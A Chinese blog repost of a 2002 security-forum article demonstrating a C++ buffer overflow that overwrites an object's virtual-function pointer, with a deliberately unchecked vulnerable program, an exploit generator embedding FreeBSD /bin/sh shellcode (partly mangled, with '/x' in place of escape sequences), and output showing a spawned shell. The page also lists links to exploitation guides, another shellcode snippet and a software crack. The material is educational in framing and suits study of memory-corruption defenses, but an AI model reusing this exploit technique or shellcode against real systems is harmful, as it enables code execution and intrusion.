【分析】一个C++溢出虚函数指针的更真实试验

C++异常处理:从核心机制到RAII与noexcept实战 在软件工程中,错误处理是构建健壮系统的基石。其核心原理在于将错误检测与处理逻辑分离,以保障代码的清晰与可维护性。从技术价值看,结构化的错误处理机制能显著提升程序的容错能力与资源安全性。在C++等系统级编程场景中,异常处理机制通过`try`、`throw`、`catch`关键字实现非局部错误传播,尤其在与RAII(资源获取即初始化)范式结合后,可确保即使在异常发生时,栈展开过程也能自动调用析构函数,从而避免资源泄漏。这为文件操作、内存管理、锁控制等场景提供了坚实的异常安全保证。本文聚焦于C++异常处理,深入探 阅读详情

一个C++溢出虚函数指针的更真实试验


创建时间:2002-04-24
文章属性:转载
文章来源:watercloud@nsfocus.com
文章提交:inburst (inburst_at_263.net)

发信人:watercloud(watercloud),信区:网络安全
标题:一个C++溢出虚函数指针的更真实试验
发信站:安全焦点(2002-04-24 19:55:55)
先写一个程序bug.cpp
里边getBuff方法从文件bug.conf中读入一行到buff中,没有进行边界检查。
printBuff是一个虚函数


#include<iostream.h>
#include<fstream.h>
#include<unistd.h>

class ClassBase
{
public:
  char buff[128];

  void getBuff()
  {
     ifstream myin;
     myin.open("bug.conf");
     cout << "Get buff from file : bug.conf" << endl;
     myin >> buff;    // 看,这种用法的人不是少数吧 !
  };
  virtual void printBuffer(void){};
};

class  ClassA :public ClassBase
{
public:
  void printBuffer(void)
  {
     cout << "Name :" << buff << endl;
  };
};


int main(void)
{
  ClassA a;
  ClassBase * pa = &a;


  cout << &a << endl;

  a.getBuff();   // ----这个里边没有边界检查 !
  pa->printBuffer();

  return 0;
}
编译:
bash-2.05$ gcc bug.cpp -lstdc++ -o bug
然后创建一个文件bug.conf 写一行cloud 然后运行bug看看:
bash-2.05$ ./bug
0xbfbffb38
Get buff from file : bug.conf
Name :cloud
bash-2.05$

看,读入数据并显示了 。

我们接下来的目的就是生成一个特别点的bug.conf让他执行里边的代码得到机器码!
写攻击程序有两个难点:&a 的起始地址 ??? a.buff的长度 ???

当然这是我们自己的程序 ,看上面的打印结果就是  &a = 0xbfbffb38  ,当然 len = 128
自己的就是方便,要是别人的就要用gdb来调了 呵呵!

好了我们来写一个攻击程序:
ex.c

#include<stdio.h>

char  buffer[512],*pc;
long  * pl = (long *) buffer;

long  ex_addr = 0xbfbffb38;
int   ex_buff_len=128;


char  shellcode[]="1/xc0Ph//shh/binT[PPSS4;/xcd/x80";  // shellcode for FreeBSD
                       //你可以换成其他平台的shellcode
int i;

int main(void)
{

  for(i=0;i<3;pl[i++]=0x41414141);

  pl[3]=ex_addr+16;

  pc = buffer+16;

  strcpy(pc,shellcode);
  pc+=strlen(shellcode);

  for(;pc - buffer < ex_buff_len; *pc++='D');

  pl=(long *) pc;
  *pl= ex_addr;
  pc+=4;
  *pc=0;

  printf("%s/n/n",buffer);
  return 0;
}

编译: gcc ex.c -o ex
运行显示:
AAAAAAAAAAAAH&ucirc;&iquest;&iquest;1&Agrave;Ph//shh/binT[PPSS4;&Iacute;DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD8&ucirc;
&iquest;&iquest;

呵呵,这就是我们构建的特殊字符窜,构建原理和原来文章讲的一样就不多说了!
一个补充的是 我用的shellcode是for freebsd的,故程序只能在freebsd上测试
当然你可以换成其他平台的shellcode 就可以在其他平台上测试了(但一定要是gcc)
好了,开始攻击:

bash-2.05$ ./ex > bug.conf      
bash-2.05$ ./bug
0xbfbffb38
Get buff from file : bug.conf
$        <------------看攻击成功了!!!



更多的信息参见
<<C++中通过溢出覆盖虚函数指针列表执行代码>>
http://magazine.nsfocus.com/detail.asp?id=1291


                      __ watercloud __


Policy-based design在嵌入式网络连接管理中的实战应用 Policy-based design(策略化设计)是一种以编译期类型组合替代运行时多态的C++架构范式,核心在于将变化点(如连接协议、重试逻辑、流量控制)抽象为模板参数,实现零开销抽象与内存确定性。其技术价值在于规避虚函数表开销、消除动态分配风险、提升缓存局部性,并天然支持配置即代码——尤其适用于Windows Mobile、IoT设备、车载T-Box、工业网关等资源受限嵌入式场景。本文结合真实WM平台网络连接模块重构案例,详解如何用CRssiSignalPolicy、CAggressiveGprsFal 阅读详情

相关推荐

浏览器引擎漏洞利用实战:从V8/WebKit漏洞到沙箱逃逸的武器化指南

在软件安全领域,内存破坏漏洞和代码执行是核心攻防焦点。其原理通常源于程序对内存访问或代码逻辑的验证缺陷,例如类型混淆、释放后重用或越界读写。这类漏洞的技术价值在于,攻击者可能借此绕过现代操作系统的安全机制,实现远程代码执行。在Web安全场景中,浏览器作为复杂客户端应用,其JavaScript引擎(如V8、JavaScriptCore)和渲染引擎(如WebKit)因高度优化和庞大的代码库,成为此类漏洞的高发区。通过深入分析JIT编译器优化、堆内存管理等机制,安全研究者能够构建从信息泄露到稳定读写原语的利用链,

weixin_34161064的博客 392

C语言指针溢出

C语言的指针不安全 #include<stdio.h> int main(){ // char a[] = "nihaoma?"; // char *p = a; // // printf("%c",a[8]); // printf("%s",p); int a[2] = {0,1},b = 2; printf("%d\n",&b); int *p = a; printf("%d\n",*(p-1)); } 此时打印的是b

qq_43402663的博客 2098

GCC编译原理与实战:从预处理到链接的完整流程解析

编译器是将高级语言转换为机器指令的核心工具,其本质是一套确定性、可验证的转译系统。GCC通过前端解析、中间表示(GIMPLE)、后端生成的三层架构,实现C/C++等语言到x86、ARM、RISC-V等架构的精准映射。这一过程涵盖预处理、编译、汇编、链接四大阶段,每步都影响调试能力、性能表现与安全边界。理解GCC不仅关乎命令行选项(如-O2、-g、--sysroot),更涉及GNU工具链协同(Binutils、GDB、Make)及交叉编译实践。掌握其原理,才能精准定位undefined reference、o

dejz8829的专栏 542

内存泄漏问题,4种智能指针(介绍+模拟实现)

内存泄漏,四种智能指针的介绍和模拟实现

m0_74206992的博客 267

【AI】使用Cursor和AI编程生成的VUE前端框架

本项目是一个基于VUE.js的前端框架,结合了登录、图形验证码、权限校验等常用功能模块。通过与Cursor AI交互生成的代码,展示了AI在编程中的潜力与效率。

清欢渡的博客 9866

英飞凌TLF35584 SBC实战:手把手教你配置WDG看门狗与ERR监控(基于AUTOSAR架构)

本文详细介绍了基于AUTOSAR架构的英飞凌TLF35584 SBC芯片WDG看门狗与ERR监控功能的配置方法。通过硬件平台搭建、寄存器级配置、AUTOSAR模块集成及诊断策略优化,帮助开发者快速掌握关键配置技巧,提升嵌入式系统的安全性和可靠性。

weixin_30256901的博客 477

智能指针简单模拟实现

智能指针简单总结

xd6905的博客 637

别再被SpringerLink虐了!手把手教你搞定LaTeX源文件提交(附正确文件顺序和类型选择)

本文详细解析了SpringerLink投稿系统中LaTeX源文件提交的常见问题与解决方案,包括文件打包、类型选择和顺序排列等关键步骤。通过实战经验,帮助科研人员避开隐形陷阱,一次性完成LaTeX提交,提升投稿效率。特别针对`.bst`和`.cls`文件的正确处理提供了专业指导。

weixin_42522964的博客 445

C++ 实现Buffer 动态分配管理代码实现

C++ 实现Buffer 动态分配管理代码实现一、 Class Memory_Manager 头文件代码实现二、 Class Memory_Manager 代码实现三、Class Memory_Manager 使用方法 应公司需求,花半天时间写了一个内存buffer 动态管理的代码。 实现功能如下: 初始化时,常驻两块 buff 用于数据传输。(兼顾 性能) 在数据高峰期时,当已分配的两块 b...

|~~~热爱生活、努力学习的小伙汁~~~| 2618

Python入门之机器学习(非常详细)篇幅拉满,一般人看不完!

什么是机器学习?监督学习 supervised learning;非监督学习 unsupervised learning;半监督学习 semi-supervised learning;强化学习 reinforcement learning;监督学习是不断向计算机提供数据(特征),并告诉计算机对应的值(标签),最后通过大量的数据,让计算机自己学会判断和识别。例如Google Photo,你在APP中输入狗,这时就会弹出与狗相关的图片,这背后使用的算法就是监督学习。

xiaolinyui的博客 2万+

AgentScope实战训练营-Java开发HITL人机协作AI应用完整指南

本文手把手带你从零搭建一个基于 Spring Boot WebFlux + AgentScope + 通义千问的人机协作(HITL)AI 聊天应用。项目涵盖流式对话、工具调用、高危操作确认、对话中断、动态 MCP 工具接入、中英文双语界面等完整功能。文章从环境准备、pom.xml 配置、DTO 数据模型、Hook 机制、AgentService 核心服务、ChatController 接口到前端 HTML/CSS/JS 实现,逐一讲解每行代码的设计意图,并附带 REST API 接口说明、测试场景、常见问题

program哲学 713

堆溢出 代码植入 狙击RtlEnterCriticalSection()函数指针

代码 #include <windows.h> char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90……"; int main() { HLOCAL h1 = 0, h2 = 0; HANDLE hp; hp = HeapCreate(0,0x1000,0x10000); h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200); __asm int 3 //used to break process memcpy

Misaka10046的博客 2940

基于STM32L4XX、HAL库的YT8531C-CA以太网收发器(PHY)驱动程序设计

是一款由裕太微推出的高性价比、低功耗的单端口 10/100M 以太网物理层收发器(PHY)。它通过标准的 MII(介质独立接口)或 RMII(精简介质独立接口)与微控制器的 MAC 层连接,实现将数字信号与网络模拟信号之间的转换。支持自动协商(Auto-Negotiation),自动选择最高速率和双工模式。支持 HP Auto-MDIX(自动交叉直连),无需区分直通线或交叉线。低功耗设计,特别适合电池供电或对功耗敏感的 STM32L4 应用。支持 MII 和 RMII 接口,节省引脚(RMII模式)。

zhusl6688的博客 628

【分析】C++中通过溢出覆盖虚函数指针列表执行代码

◆ C++中通过溢出覆盖虚函数指针列表执行代码 作者:watercloud 主页:http://www.nsfocus.com 日期:2002-4-15      目录:  1.  C++中虚函数的静态联编和动态联编  2.  VC中对象的空间组织和溢出试验  3.  GCC中对象的空间组织和溢出试验  4.  参考 C++中虚函数的静态联编和动态联编      C++中的一大法宝就是虚函数,简

FreeXploiT 1444

【CloudCompare教程】017:点云快速全局配准

点云数据的配准分为基于特征(特征点、特征线)的拼接和无特征拼接。特征点匹配的方法和全局ICP的方法。特征点的方法通过全局特征匹配达到全局配准,全局ICP的方法通过对变量空间进行搜索的方法达到全局最优解。

智慧空间实验室 3931

2026年紫光同创数字IC笔试试卷带答案

FPGA基础知识与设计要点摘要 本文围绕FPGA与数字IC设计核心概念,通过单选题、波形分析题、多选题和简答题形式,系统梳理了以下关键知识点: FPGA基础架构 查找表(LUT)是实现组合逻辑的基本单元(题1) CLB包含LUT、触发器和进位链,后者加速算术运算(题6,10) 布局布线优化是减少关键路径延迟的核心方法(题7) 时序分析要点 建立时间(时钟沿前数据需稳定)与保持时间(时钟沿后需保持)的定义(题2,简答1) 亚稳态成因及两级同步器处理跨时钟域信号的方法(多选题1,波形题5) 特殊设计技术 异步复

Open 117

C++中通过溢出覆盖虚函数指针列表执行代码

   2. VC中对象的空间组织和溢出试验    3. GCC中对象的空间组织和溢出试验    4. 参考         <一> C++中虚函数的静态联编和动态联编       C++中的一大法宝就是虚函数,简单来说就是加vir...

chiloutao9982的博客 239

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

◆ C++中通过溢出覆盖虚函数指针列表执行代码

 ◆ C++中通过溢出覆盖虚函数指针列表执行代码 作者:watercloud 主页:http://www.nsfocus.com 日期:2002-4-15      目录:  1.  C++中虚函数的静态联编和动态联编  2.  VC中对象的空间组织和溢出试验  3.  GCC中对象的空间组织和溢出试验  4.  参考 C++中虚函数的静态联编和动态联编      C++中的一大法宝就是虚函数,

仓 1149

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

第11章 反思 C++ 面向对象与虚函数(2)

C++的面向对象语言设施相比其他现代语言可算得上“简陋”,而且与语言的其他部分(better C、数据抽象、泛型)融合度较差(见电子工业出版社出版的《C++Primer(第4版)(评注版)》第15章)。在C++中进行面向对象编程会遇到其他语言中不存在的问题,其本质原因是C++ class是值语义,而非对象语义。本章主要介绍虚函数存在的问题和替代方法,iostream的用途与局限,值语义与数据抽象。

chenyijun的专栏 759

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

Java、Python、C++技术选型与性能优化实战指南

在软件开发中,编程语言的选择是架构设计的核心决策之一,它直接关系到项目的性能、开发效率和长期可维护性。从原理上看,不同语言的设计哲学决定了其技术价值:强类型静态语言在编译期提供安全保障,适合构建大型复杂系统;动态类型语言则强调开发敏捷性,是快速原型和脚本编写的利器;而系统级语言通过对硬件资源的精细控制,能够实现极致的运行效率。这些特性使得它们在工程实践中各自拥有不可替代的应用场景。例如,企业级后端服务追求稳定与可控,高并发数据处理需要精细的内存与锁管理,而人工智能与科学计算则依赖庞大的数值计算生态。本文将围

adr5970的博客 419
上一篇: 【分析】RPC文件名长度堆溢出分析及其通用性堆溢出攻击的一些发现
下一篇: 【分析】C++中通过溢出覆盖虚函数指针列表执行代码
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值